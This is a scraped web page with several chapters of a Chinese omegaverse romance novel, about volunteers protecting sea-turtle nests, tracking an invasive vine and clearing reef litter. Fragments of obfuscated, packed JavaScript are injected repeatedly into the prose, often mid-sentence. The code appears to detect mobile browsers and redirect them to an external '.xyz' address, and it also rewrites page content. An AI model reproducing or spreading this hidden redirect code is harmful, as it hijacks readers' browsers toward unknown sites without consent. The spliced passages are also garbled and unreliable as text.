l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326489|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小生命。 几秒钟后,测温仪发出“嘀”的一声,屏幕上显示出“30.5℃”。 “沙温30.5℃,湿度75%。”梨砚报出数据,目光落在遮阳网上,“遮阳网的角度刚好,既能挡住强光,又能保证通风,状态不错。” 桃楠飞快地在本子上记录,笔尖顿了顿,忍不住问:“温度和湿度对小海龟影响很大吗?” “嗯,”梨砚收回探头,语气认真,“绿海龟的性别由孵化温度决定,沙温高于30℃时雌性偏多,低于28℃时雄性偏多,湿度不够的话,卵容易脱水,孵化率会下降。” 他指了指巢穴边缘的沙子,“你看这里沙子的湿度,捏起来能成团,松开又能散开,是最适合的状态。” 桃楠看着沙地上那片平平无奇的遮阳网,忽然觉得它像个温柔的守护者,默默守护着沙子下面那些即将破壳的小生命。 他蹲在地上,耳朵凑近沙地,仿佛能听到沙子下面传来的、属于小海龟的微弱动静。 “小心别靠太近,”梨砚伸手扶了他一把,“虽然遮阳网有保护,但过度靠近可能会留下气味,吸引天敌。” 桃楠赶紧坐直身体:“我就是想听听它们有没有在动。” 梨砚的嘴角弯了弯,眼底漾起浅淡的笑意:“等它们快孵化时,会顶沙子,能听到声音,现在还太早。”他抬手看了看时间,“我们去检查下一个巢穴,顺便看看围栏有没有破损。” 两人沿着围栏慢慢走着,仔细检查每一处接口和立柱。围栏不高,却像一道坚固的屏障,将巢穴与外界的危险隔离开。 走到基地角落时,梨砚忽然停住脚步,指了指围栏底部:“这里有点松动。” 桃楠凑近一看,发现围栏的一根立柱底部有点歪斜,下面的缝隙比别处宽了些,足够一只小型海鸟钻进去。他心里一紧:“这会不会有问题?” “问题不大,但要及时处理。”梨砚从包里拿出备用的扎带,蹲下身将松动的立柱重新固定好,手指勒紧扎带时,手背的青筋微微凸起,“这样就安全了,海鸟和小兽钻不进来了。” 阳光渐渐升高,晒得沙滩有些发烫,桃楠额角冒出细汗,他抬手擦汗时,指尖碰到颈后的阻隔贴,忽然想起早上的梦。 梦里的泳池水波、模糊的身影、还有那枚海豚挂件,似乎都和眼前这片海、这些需要守护的生命有了奇妙的联系。 他看向身边正在检查最后一个巢穴的梨砚,对方的侧脸在阳光下显得格外清隽,认真的样子像是在完成一件极其重要的使命。 海风撩起他的衣角,带着咸湿的气息掠过桃楠的鼻尖,这一次,他没再闻到那缕模糊的梨花香,却闻到了比信息素更让人安心的、属于责任与守护的味道。 “记录好了吗?”梨砚的声音拉回他的思绪。 桃楠回过神,用力点头:“好了!最后一个巢穴温度29.8℃,湿度73%,围栏也都检查完了,只有刚才那处松动,已经固定好了。” 梨砚接过他的记录本翻看了一遍,确认无误后点点头:“整理得很清楚。”他合上本子递回去,目光落在桃楠被汗水打湿的额发上,“休息一下?喝点水。” 桃楠接过水拧开喝了一大口,冰凉的水顺着喉咙滑下去,驱散了不少燥热。他看着远处波光粼粼的海面,又低头看了看脚下的沙地,忽然觉得今天的巡岛任务,比他想象中更有意义。 那些藏在沙子里的生命,那些需要清理的垃圾,那些需要守护的生态,都在悄悄拼凑着一个更完整的世界,一个属于这片海的世界。 17. 生命通道 两人刚检查完最后一处巢穴,就听见基地入口传来一阵脚步声。桃楠抬头望去,只见秦尤带着节目组的人快步走来,身后还跟着个戴草帽的年轻男人,是协会的王研究员。 “桃楠,你快过来!”秦尤脸上带着兴奋,语气难掩激动,他回过头对跟在自己身后的摄影机道:“王研究员刚发现编号03的巢穴有动静,小海龟已经孵化出来了。” “真的?”桃楠闻言眼睛一亮,立马跟着梨砚朝秦尤的方向走去。时夏和甜橙橙也从另一处沙滩赶了过来,甜橙橙一听说有小海龟,立刻挣脱时夏的手跑在了前头。 “慢点跑,别惊着小家伙们。”时夏担忧的追上了去,兽医专业的本能让他下意识的先为小动物考虑。 被甩在最后的南阳:不是!怎么都不等我一下?! 王研究员正蹲在编号03的巢穴旁,手里拿着个软尺,见众人过来便笑着招手:“来得正好,这窝小海龟刚破壳没多久,正适合今天送它们入海。” 桃楠凑过去,看见遮阳网下的沙地上,几十只巴掌大的小海龟正笨拙地蠕动着。 它们的背甲是浅褐色的,带着细碎的花纹,小短腿扑腾着沙子,脑袋一歪一歪地朝光亮的方向爬,像一群会移动的小石子,可爱得让人屏住呼吸。 甜橙橙刚想伸手去摸,就被时夏轻轻拉住:“橙橙别动,小海龟的壳很软,而且我们手上的气味会让它们迷失方向的。” 他蹲下身,耐心解释,“它们出生后会靠月光和海浪声辨别方向,我们的触碰可能会干扰它们。” 甜橙橙立刻缩回手,眼睛瞪得圆圆的:“那它们要自己爬去海里吗?这么小一只,会不会被海浪冲走呀?” 王研究员闻言笑了起来,推了推眼镜开始讲解:“小海龟的生命力比我们想象中顽强。 它们孵化后会本能地朝着光亮的方向爬,这是千百年来进化出的生存智慧,因为大海在夜晚会反射月光,更亮的方向就是海洋。 不过现在因为岸边的灯光干扰,很多小海龟会迷路,所以我们才要建孵化基地,等它们准备好再人工引导入海。” 他指着小海龟们的爬行方向:“你们看,它们已经在朝着海边爬了,这是刻在基因里的本能。但从沙滩到大海的这段路,对它们来说充满危险,海鸟、螃蟹,甚至是过热的沙子,都可能威胁到它们。” 秦尤问他:“那我们现在就送它们去海边吗?需要做什么准备?” “别急,”王研究员从旁边的箱子里拿出几双软底鞋和一次性手套,“大家先穿上鞋套,戴上手套,避免直接接触。等下我们在前面铺一条引导通道,让它们沿着通道爬向大海,尽量减少外界干扰。” 梨砚和南阳主动上前帮忙,将一卷浅色的无纺布铺开,从巢穴边缘一直延伸到海边的湿沙地,形成一条安全的“生命通道”。 时夏蹲在通道旁,仔细检查有没有小石子或杂物,确保通道足够平坦。 甜橙橙被分配到“站岗”的任务,站在通道尽头的礁石旁,张开手挡住可能靠近的海鸟,嘴里还小声念叨:“小鸟小鸟别过来,小海龟要回家啦。” 一切准备就绪后,王研究员轻轻掀起遮阳网,小海龟们像是接收到了信号,立刻朝着通道的方向涌去。 它们的动作不算快,甚至有些跌跌撞撞,却带着一股执拗的劲头,一只跟着一只,在沙地上留下细密的爬痕。 桃楠蹲在通道边,看着一只掉队的小海龟努力地追赶大部队,小短腿蹬得飞快,背甲上还沾着沙子。 他忍不住屏住呼吸,直到那只小海龟终于追上队伍,才松了口气,嘴角不自觉地扬起笑意。 梨砚站在他身边,目光落在那些小小的身影上,平时清冷的眼神柔和了许多。 他注意到桃楠的发梢还在滴水,想着大概是刚才帮忙铺通道时沾到了海水,从包里拿出纸巾递过去:“擦擦吧,海风凉。” 桃楠接过纸巾擦了擦头发,随后转头看向梨砚,发现对方的目光正追随着第一只爬进海水的小海龟,阳光落在他的睫毛上,投下淡淡的阴影。 “它们会顺利活下去吗?”桃楠轻声问,语气里带着点担忧。 “很难说,”王研究员的声音在旁边响起,带着些感慨,“小海龟的存活率很低,一百只里可能只有一只能长大成年。但只要我们多做一点,比如清理海洋垃圾、保护孵化地,它们的希望就会多一分。” 说话间,最后一只小海龟也爬进了海里。它被海浪轻轻托了一下,小小的身影在浅水区晃了晃,随即跟着同伴们的方向游向深海,很快便融入了那片辽阔的蓝。 甜橙橙在礁石旁跳了起来,兴奋地拍手:“它们回家啦!小海龟安全啦!” 时夏站在她身旁,眼底闪着温柔的光:“是啊,它们要去大海里探险了。等我们以后再来,说不定能看到它们长大的样子。” 海风卷着浪声吹来,带着海水的咸涩和生命的气息。桃楠看着那片恢复平静的海面,忽然觉得无论是尼莫和多莉,还是眼前的小海龟,似乎都在诉说着同一个道理。 海洋里的每一个生命,都值得被温柔守护。 他转头看向身边的梨砚,对方刚好也朝他看过来,两人的目光在海风中相遇,带着默契的笑意。 远处的摄像机还在记录着这一幕,而沙滩上的“生命通道”尚未收起,像是在无声地诉说着这场关于守护与希望的约定。 送走小海龟后,沙滩上的阳光已经变得有些灼热,海风里的潮气混着暖意扑面而来。 王研究员收拾着工具,笑着对众人说:“今天能顺利送它们入海,多亏了大家帮忙。这些小家伙入海后,会先在近海的海草床里躲避天敌,等长到一定体型,才会游向更深的海洋。” 甜橙橙还恋恋不舍地望着海面,拉了拉时夏的衣角:“时夏,你说它们以后还会回来吗?” 时夏笑了一下,也看向海面:“会的,绿海龟长大后会回到出生的沙滩产卵,就像它们现在记得要游向大海一样,这是它们的本能。” 南阳在一旁补充:“不过这需要很多年,海龟要长到二十多岁才能成年繁殖。所以我们现在保护海洋环境,就是在给它们铺路。” 他说着,自然地接过时夏手里的空水壶,塞进自己的背包里,“走吧,前面还有植被区要巡查,再晚太阳就太晒了。” 梨砚和桃楠已经收拾好了用品包,正等着大部队。桃楠看着梨砚把垃圾夹仔细折好放进包里,问他:“接下来去植被区查入侵物种吗?那个薇甘菊长什么样来着?” “叶片呈三角状,边缘有锯齿,茎秆细长,会缠绕在其他植物上吸收养分。”梨砚说着,从记录本里翻出一张协会提前打印的照片,“你看,就是这样,遇到了不要碰,用标记笔在旁边做记号就行。” 桃楠凑近看照片,鼻尖几乎要碰到梨砚的手背,闻到他身上淡淡的、被海风洗过的清爽气息,心里莫名一跳,赶紧退开半步:“记住了,三角叶,细长茎。” 一行人沿着沙滩边缘的小径走进植被区,脚下的沙地渐渐被松软的腐殖土取代,两旁的灌木丛越来越茂密,阳光透过树叶的缝隙洒下斑驳的光斑,蝉鸣声在林间此起彼伏。 “大家注意脚下,尽量走现成的路,别踩坏植被。”莉莉安的声音从前面传来,“发现可疑植物立刻喊安全员,尤其是梨砚和南阳,你们对植物更熟悉。” 南阳应了一声,顺手帮时夏拨开挡路的枝条:“这边植物长得密,小心别被划伤。”时夏点点头,目光却专注地扫过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326490|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 路边的灌木丛,忽然停住脚步,“等等,你们看这个是不是?” 众人围过去,只见一株藤蔓正缠绕在低矮的灌木上,三角状的叶片爬满了半棵树,茎秆上还带着细小的绒毛。 梨砚蹲下身观察片刻,拿出标记笔在旁边的石头上做了个记号:“是薇甘菊,已经开始扩散了,记一下位置,回头让协会派专业人员来处理。” 桃楠在一旁认真记录坐标,笔尖划过纸面时,忽然听到身后传来甜橙橙的低呼。 他回头一看,发现小姑娘被一只突然飞起的彩色蝴蝶吓了一跳,往后退时不小心踩空,眼看就要摔倒了。 “小心!”南阳眼疾手快,一个箭步冲过去扶住她的胳膊,把人稳稳拉回来,“怎么不看路?这边树根多,很容易绊倒。” 甜橙橙拍着胸口,小脸有点发白:“对不起……那只蝴蝶飞得好快。” 时夏赶紧检查她有没有受伤,见她没事才松了口气,敲了一下她的额头:“下次跟紧点,别自己乱跑。”甜橙橙吐了吐舌头,乖乖拉住时夏的衣角,眼睛却还是好奇地追着蝴蝶飞走的方向。 梨砚在旁边标记完,抬头看向桃楠:“记好了吗?前面再往前走走,那边植被更密,可能还有发现。” “记好了!”桃楠举了举记录本,快步跟上他的脚步。两人走在队伍稍后面的位置,林间的蝉鸣声里,能清晰地听到彼此的脚步声和呼吸声。 “梨教练,你以前在帕米兰群岛做安全员,是不是经常遇到这种入侵物种?”桃楠踢开脚边的小石子,好奇地问。 “嗯,海岛生态脆弱,很容易被外来物种破坏。”梨砚的目光扫过周围的植物,“有时候是游客无意间带进来的种子,有时候是洋流冲上岸的植物,一旦扎根就很难清除。” 他顿了顿,侧头看桃楠,“所以巡查时仔细点,早点发现就能减少危害。” 桃楠点点头,忽然注意到梨砚后颈的衣领被汗水浸湿了一小块,阳光照在上面,泛着淡淡的光泽。 他想起早上梨砚眼下的青影,忍不住问:“你今天是不是没休息好?看起来有点累。” 梨砚的脚步顿了一下,似乎没想到他会这么问,过了两秒才低声道:“还好,可能是昨晚没睡够。”他没多说,只是加快了脚步,“前面好像有情况,去看看。” 桃楠看着他的背影,心里那点关于信息素的猜测又冒了出来。昨晚颈后的灼热感,梨砚今天的疲惫,还有梦里模糊的片段……这些线索像散落的珠子,隐约串起一条看不见的线。 走到林间一片开阔地时,梨砚忽然停住脚步,指着前方的灌木丛:“那里有一大片,密度很高。”众人围过去,果然看到成片的薇甘菊缠绕在树上,不少本土植物的叶片已经发黄枯萎。 南阳皱眉:“这片扩散得有点严重,得赶紧标记上报。”他拿出手机拍照,时夏在一旁记录周围受影响的植物种类,两人配合默契,眼神交流间全是熟稔。 甜橙橙看着被缠得奄奄一息的小树,小声问:“它们会把树杀死吗?” “如果不处理的话,会的。”梨砚的声音很轻,却带着不容忽视的认真,“所以我们要守护的不只是海洋里的生命,还有陆地上的生态,它们是连在一起的。” 桃楠蹲在地上记录,闻言抬头看向梨砚。阳光透过树叶落在他脸上,给他清隽的眉眼镀上一层柔光,认真的样子比清晨的海面还要耀眼。 他忽然觉得,颈后阻隔贴的微凉和心里悄悄升起的暖意,在这片充满生机的树林里,奇妙地融合在了一起。 标记完最后一处薇甘菊,日头已经过了正午。莉莉安看了看时间,宣布暂时休息:“大家先到前面的凉棚吃点东西补充体力,下午重点检查植被区边缘,然后就可以返程了。” 18. 医院 众人刚走到凉棚下,秦尤就端着两盒切好的芒果走了过来,拍了拍桃楠的肩膀,目光却越过梨砚,语气热络:“桃楠,刚送小海龟入海的时候我给你拍了好多照片,等下传给你?” 桃楠刚接过芒果,还没来得及回话,秦尤就已经自然地在他身边坐下,还特意往桃楠这边挤了挤,拉开了和梨砚之间的距离,笑着说:“你刚才蹲在通道边看小海龟的样子特别认真,节目组的摄影师都夸你镜头感好。” 他边说边拿起一块芒果递过去,“尝尝?岛上的芒果超甜,比咱们小时候吃的甜多了。” 桃楠下意识接过来,咬了一口,甜腻的汁水顺着嘴角流下,他赶紧用手背擦掉:“我都拍了这么多年视频了,镜头感还是有的。” 秦尤的视线在他脸上停留了两秒,又状似无意地扫过旁边的梨砚,语气里带着点直白的嫌弃:“你跟这位梨教练一组啊?他看着冷冰冰的,相处起来会不会憋得慌?我刚才看他半天没说一句话,跟个冰块似的。” 桃楠正低头吃芒果,闻言愣了一下:“还好啊,梨教练很厉害,教了我很多东西,比如怎么辨认薇甘菊,怎么记录巢穴数据。” 他转头看向梨砚,眼里带着真诚的笑意,“刚才在植被区也是他先发现的大片入侵物种,帮了大忙。” 梨砚正低头喝水,听到这话,抬眼朝桃楠看了一眼,眼神里闪过一丝浅淡的暖意,随即又恢复了平静,继续拧瓶盖的动作。 秦尤笑道:“这个确实不可否认,安全员嘛,本职工作肯定得专业点。” 他凑近桃楠,用只有两人能听到的声音说,“不过,说真的,我看他对你那态度就怪怪的,冷冰冰的还总盯着你,你可得留心点。对了,你颈后贴了阻隔贴是信息素不太稳定吗?要不我帮你问问节目组的医生?我认识个靠谱的。” 桃楠刚想开口,就听见梨砚的声音在旁边响起,语气平淡却带着不容置疑的分量:“他已经用过阻隔剂了,协会的用品包里有应急药物,如果需要医生,必须去医院。” 意思是他觉得节目组的医生不靠谱。 秦尤皱眉道:“你…………” 这时,南阳和时夏带着甜橙橙走了过来,南阳手里拿着几瓶冰镇饮料,笑着递给众人:“来,冰爽一下。”他把一瓶柠檬水塞到时夏手里,最后才分给梨砚和秦尤。 他打开饮料喝了一口,注意到气氛有点微妙,笑着打圆场:“刚才在植被区发现那么多薇甘菊,还好有前辈细心,不然等扩散开就麻烦了。” 甜橙橙咬着吸管,突然指着秦尤:“秦哥,你刚才拍照的时候,是不是拍到我站岗了?我挡海鸟超厉害!” 秦尤被小姑娘的话打断了思绪:“拍到了拍到了,等下就给你看照片。” 梨砚没再参与对话,只是安静地喝着水,目光落在远处的海面上,但桃楠注意到,他握着水瓶的手指微微收紧,指节泛白,显然也察觉到了秦尤的敌意。 他看了看秦尤一脸“我就是看不惯他”的表情,又看了看梨砚沉默的侧脸,忽然开口对秦尤说:“我等下要跟梨教练核对上午的记录数据,你不是说要跟节目组沟通拍摄流程吗?赶紧忙去吧,不然节目播了又该黑你了大明星。” 秦尤突然叹了口气,站起身:“行吧,你们忙,我去沟通流程。”说完,还不忘瞪了梨砚一眼,才转身快步离开了凉棚。 看着秦尤走远的背影,甜橙橙小声问:“时夏,秦哥是不是不喜欢梨教练呀?” 时夏也不知道,索性没说话,南阳轻咳一声,打破沉默:“前辈你别往心里去,发小护短,没恶意的。” 梨砚淡淡“嗯”了一声,转头看向桃楠,发现他正皱着眉看自己,眼神里带着点歉意。他心里微动,嘴角几不可查地弯了一下:“没事儿。” 海风从凉棚外吹进来,带着海水的凉意,吹散了刚才的尴尬。桃楠看着梨砚眼底那抹浅淡的笑意,心里的烦躁忽然就烟消云散了。 他低头喝了口饮料,在心里默默叹了口气。 回头得好好问问秦尤了。 “我们核对数据吧?”桃楠翻开记录本,抬头看向梨砚,眼神清亮,“下午还要检查植被区边缘,早点弄完早点出发。” “好。”梨砚的声音里带着点不易察觉的温柔,伸手拿过自己的记录本,“你记的坐标我看看,有没有需要补充的。” 两人凑在一起翻看本子,阳光透过凉棚的缝隙落在他们交叠的手背上,蝉鸣声和海浪声在耳边交织,刚才的不快仿佛从未发生过。 核对完数据后,凉棚下的众人渐渐散去,各自找地方休息。桃楠靠在栏杆上吹风,手里无意识地转着刚才记录用的笔,脑子里却反复想着梨砚早上的疲惫和秦尤提到的“医生”。 昨天颈后突如其来的灼热感、腺体的隐痛,还有梦里那阵扭曲的信息素波动……这些都不是小事。 虽然用了阻隔剂和阻隔贴,但那种莫名的躁动并没有完全消失,尤其是靠近梨砚的时候,后颈总会隐隐发烫。 “想什么呢,魂不守舍的?”秦尤端着杯冰饮走过来,胳膊自然地搭在桃楠肩上。 桃楠:“没什么,在想下午的任务。” “还想任务呢?”秦尤挑眉,朝不远处独自喝水的梨砚瞥了一眼,语气带着明显的嫌弃,“跟那冰块脸一组没被冻着?我看他从早上到现在都没笑过,跟谁欠了他八百万似的。” 桃楠抬脚踹了他一下:“你怎么回事儿,黑你的营销号看多了?少说我们梨教练坏话啊,小心我给你黑料发出去。” 秦尤叹了口气:“知道了知道了,真是儿大不中留啊。” “行了,桃楠认真的说:“你刚刚说的医生,我晚上去看看吧。” “真去啊?”秦尤愣了一下,随即点头,“去看看也好,检查一下放心。医疗室在别墅一楼,我陪你过去?” 桃楠:“行了大明星,我自己去就成,你忙你的吧。” 午后的阳光透过凉棚的缝隙,桃楠抱着记录本快步走进凉棚,一眼就看到梨砚正坐在角落的长椅上,他正低头整理着用品包,遮阳帽放在旁边,露出额前被汗水打湿的碎发。 “梨教练!”桃楠走过去挨着他坐下,翻开记录本:“上午的植被区数据我又核对了一遍,应该没什么问题,就等下午查完礁石区汇总了。” “我看看。”梨砚接过他的本子,指尖划过记录的坐标和植物种类,目光专注,“这里,薇甘菊密集区的范围可以再标大一点,下午路过时再确认下边界。” “好。”桃楠赶紧拿出笔修改,笔尖顿了顿,忍不住问,“你刚刚没休息吗?看起来有点累。” “眯了一会儿。”梨砚把本子还给他,拿起遮阳帽给他戴上,“走吧,其他人应该快到齐了,我们先去礁石区入口等。” 两人并肩走出凉棚,午后的风带着潮气扑面而来,比上午热了些,却吹不散阳光的暖意。 桃楠踩着梨砚的影子往前走,手里的记录本被风吹得哗哗响,他赶紧用手按住。 “下午礁石区要注意脚下,退潮后石头滑,别靠崖边太近。”梨砚的声音在耳边响起,“垃圾大多藏在石缝里,看到可疑的地方多留意。” “知道啦,梨教练比我爸爸还唠叨。”桃楠笑着打趣,却把他的话牢牢记在心里。 梨砚突然愣了一下,但很快回过神:“昨天有人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326491|183252||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沙滩上追螃蟹,差点摔进海里,是谁来着?” 桃楠脸一红:“那是意外!谁知道沙子下面有坑啊。” 两人说说笑笑地走到礁石区入口,其他人也陆续到了。 集合后,梨砚对众人说:“礁石区范围大,我们分两拨排查,我和桃楠走左侧,你们走右侧,半小时后在中间的灯塔下汇合。” 秦尤刚想说什么,就被时夏打断:“行,就这么分,我跟南阳带橙橙走右侧,那边离浅滩近,安全点。” 分组完毕,两拨人各自出发。桃楠跟着梨砚走进左侧的礁石区,脚下的石头凹凸不平,需要时不时扶着旁边的岩石借力。 梨砚走在前面,遇到难走的地方会回头伸手拉他一把,掌心的温度透过指尖传来,总能让桃楠莫名安心。 “你看这里。”梨砚忽然停下脚步,指着一块礁石的缝隙,“有塑料碎片。”他弯腰用垃圾夹精准地夹出碎片。 桃楠蹲在旁边记录位置,忽然感觉后颈有点发痒,像是阻隔贴蹭到了汗水,忍不住伸手想去挠。 “别碰。”梨砚按住他的手腕,从包里拿出纸巾,“先擦汗,等下到灯塔那边我帮你重新贴。” 桃楠乖乖点头,梨砚细心地帮自己擦去后颈的汗水,指尖避开腺体位置,动作轻柔得不像话。 远处的海浪拍打着礁石,哗哗的声响里,他好像听到了自己的心跳声。 “发什么呆?”已经擦完汗走出去几步的梨砚回头看他,“前面还有一片礁石,快走了。” “来了。”桃楠赶紧跟上,脚步轻快了许多。 两人沿着礁石区一路往前,梨砚的垃圾夹几乎没停过,石缝里的塑料片、缠绕在礁石上的渔网碎片,都被他精准地夹出来丢进垃圾袋。 桃楠跟在后面记录,偶尔弯腰帮着捡拾一些细小的垃圾,两人配合默契,连脚步声都渐渐同步。 “梨教练,你以前是不是经常做这种清理工作?”桃楠看着他熟练的动作,忍不住问,“感觉你对这些礁石的脾气都摸透了。” “嗯,在我固定工作的岛上,每周都会组织海岸线清理。”梨砚的声音被海风揉得很轻,“那边的珊瑚礁更脆弱,一点垃圾就能让一片珊瑚死亡。” 他捡起一块嵌着贝壳的塑料瓶,语气沉了些,“虽然海洋的自愈能力很强,但也架不住人类这样造。” 桃楠看着那块被海水侵蚀得发白的塑料瓶,忽然觉得手里的记录本沉了不少。他想起早上送归大海的小海龟,那些破壳而出的生命要面对多少这样的“陷阱”? 正想着,头顶忽然传来“嘎”的一声,一只海鸟俯冲下来,直奔梨砚手里的垃圾袋。 梨砚反应极快,侧身避开的同时,另一只手稳稳护住垃圾袋:“海边的海鸟被喂惯了,看到袋子就以为有食物。” 桃楠被吓了一跳,拍着胸口:“这鸟胆子也太大了。” 梨砚笑着把垃圾袋的口子系紧:“等下汇合时丢进分类箱就好了。”他指了指前方的灯塔,“快到汇合点了,我们加快点速度。” 两人朝着灯塔走去,越靠近灯塔,礁石越密集,有些地方需要踩着海水才能过去。 梨砚走在前面探路,遇到深水洼就回头扶桃楠一把,“小心脚下,这里有青苔。”梨砚刚提醒完,自己脚下却一滑,下意识伸手扶住旁边的桃楠。 梨砚:………… 两人踉跄着站稳,鼻尖几乎碰到一起,桃楠能清晰地闻到梨砚身上淡淡的海盐味,混着一点阳光晒过的草木清香。 “你没事吧?”桃楠赶紧扶稳他,腺体越来越胀痛。 “没事。”梨砚松开手,转身快步往前走,“快到了。” 19. 阻隔贴 海浪在脚边退去又漫来,留下湿漉漉的痕迹。海浪在脚边退去又漫来,留下湿漉漉的痕迹,礁石缝隙里的小螃蟹被浪花惊扰,横着爬进更深的石缝,留下细碎的沙粒滚动声。 桃楠弯腰捡拾一块被海浪冲上岸的渔网碎片,起身时后颈忽然一阵发痒,伸手一摸,发现阻隔贴边缘已经卷了起来,被汗水浸得有些黏腻,连带着腺体都泛起隐隐的灼热感。 “唔……”他皱了皱眉,试着把卷边按回去,可指尖一碰就更痒了,像有细小的羽毛在皮肤上游走,让他忍不住缩了缩脖子。 梨砚注意到他的动作,停下脚步,手里的垃圾夹还夹着半片塑料瓶:“怎么了?”海风掀起他额前的碎发,露出光洁的额头。 桃楠转过身,耳廓泛着薄红,有点不好意思地指了指后颈:“梨教练,我的阻隔贴好像松了,还卷边了……你能帮我重新贴一张吗?我自己看不见,总贴歪。” 他说着,从用品包里翻出备用的阻隔贴递过去,指尖因为紧张微微发颤,粉色兔子图案的贴纸在阳光下格外显眼。 梨砚看着他递来的阻隔贴,愣了两秒才接过来,指腹不经意间碰到桃楠的指尖,两人都像被电流击中般缩了缩手。 他喉结微动,声音低了些:“好。”,顺后抬手朝旁边指了指,“去那块大礁石后面,风小,不容易贴歪。” 那块礁石足有两人高,表面爬满深绿色的海苔,挡住了大半海风。躲到礁石后,海浪拍打礁石的闷响变得遥远,只剩下彼此清浅的呼吸声。 桃楠乖乖转过身,撩起后颈的衣领,露出一片因闷热而泛红的皮肤,卷边的旧阻隔贴松垮地挂着,边缘还沾着细小的沙粒。 阳光透过礁石的缝隙落下光影,刚好落在他颈后,能看到被汗水打湿的细小绒毛,像沾了晨露的蒲公英。 梨砚拿出湿巾,指尖带着海风的微凉轻轻擦过他的后颈,刻意避开敏感的腺体位置:“有点汗,擦干净再贴才牢。” 温热的皮肤突然接触到微凉的湿巾,桃楠忍不住瑟缩了一下,肩膀微微绷紧,小声嘟囔:“有点痒……”声音细得像蚊子叫。 “忍一下。”梨砚的声音就在耳边响起,低沉的嗓音裹着海风的咸湿,带着点不易察觉的温柔。 他小心翼翼地掀起旧阻隔贴的边缘,指甲修剪得干净圆润,动作轻得像在触碰易碎的琉璃,黏腻的贴纸被慢慢撕下,露出下面粉白泛红的皮肤,连带着周围的汗毛都清晰可见。 桃楠的脊背绷得笔直,能清晰地感受到对方的呼吸落在颈后,带着淡淡的海盐味混着阳光晒过的草木清香,让腺体的灼热感瞬间翻涌上来,沿着脊椎一路蔓延到耳根。 他攥紧手里的记录本,指节泛白,心跳快得像要撞开胸膛,连海浪声都变得模糊,只剩下耳边清晰的“咚咚”声。 梨砚展开新的阻隔贴,指尖捏着贴纸边缘,对准腺体的位置轻轻按下去,微凉的胶质接触皮肤的瞬间,像给滚烫的火山盖上了一层薄冰,瞬间压下了那阵灼热感。 他的拇指沿着边缘仔细压实,指腹的温度透过贴纸传过来,偶尔碰到桃楠的皮肤,能感觉到对方细微的颤抖,像受惊的小鹿。 “好了。”梨砚收回手,下意识后退半步拉开距离,耳根悄悄泛起红意,“试试看还痒吗?” 桃楠转过身,脸颊烫得能煎鸡蛋。他飞快地瞥了梨砚一眼,又慌忙低下头:“不、不痒了。谢谢梨教练!” 不是?我怎么敢让梨教练给自己贴的?!是不知道AO有别吗?脑子进海水了? 后颈还残留着对方指尖的温度,和阻隔贴的微凉交织在一起,像海浪退去后沙滩上的余温,格外清晰。 “举手之劳。”梨砚轻咳一声,转身看向远处的灯塔,塔身被夕阳染成金红色,像插在海面的火把,“快到汇合点了,我们走吧。” “好。”桃楠赶紧跟上,脚步有些慌乱,踩在湿滑的礁石上差点绊倒。 梨砚眼疾手快地伸手扶住他的胳膊,掌心的温度透过薄薄的衣料传过来,两人的指尖短暂触碰,分开后只留下指尖发麻的触感。 夕阳把海面染成金红色,碎金般的波光随着海浪起伏,偶尔有海鸟掠过,翅膀带起的风卷着咸湿的气息扑面而来。 桃楠偷偷看了眼身旁的梨砚,对方正专注地看着前方的路,侧脸的轮廓在霞光里柔和了许多,平日里冷硬的下颌线被镀上一层金边,显得温润了些,连嘴角的弧度都柔和了几分。 两人沿着礁石滩往灯塔方向走,夕阳把影子拉长,偶尔交叠在一起,又被海浪漫过的水渍冲散。 桃楠的脚步轻快了许多,后颈的阻隔贴牢牢贴着,微凉的触感让腺体的灼热感彻底消散,只剩下心里那点挥之不去的暖意。 “梨教练,你看那边。”桃楠忽然指着前方的水洼,“有好多小贝壳。”水洼里积着退潮后留下的海水,阳光折射下,水底的贝壳泛着七彩的光,像散落的宝石。 梨砚顺着他指的方向看去,嘴角弯了弯:“小心脚下,别踩进去。”他走到水洼边,弯腰捡起一枚完整的白贝壳,贝壳边缘带着淡粉色的花纹,像被海浪吻过的痕迹。“这个给你。” 桃楠接过贝壳,指尖碰到对方的掌心,又是一阵细微的麻痒。他把贝壳翻过来,阳光透过贝壳的纹路,在手背上投下光影:“好漂亮!谢谢梨教练。” 他的指尖轻轻摩挲着贝壳的纹路,感受着大海留下的温度。 “海边的贝壳都是大海送的礼物。”梨砚看着他亮晶晶的眼睛,眼底的温柔几乎要溢出来,“就像早上的小海龟,也是大海托付给我们的宝贝。” 桃楠想起那些笨拙爬向大海的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 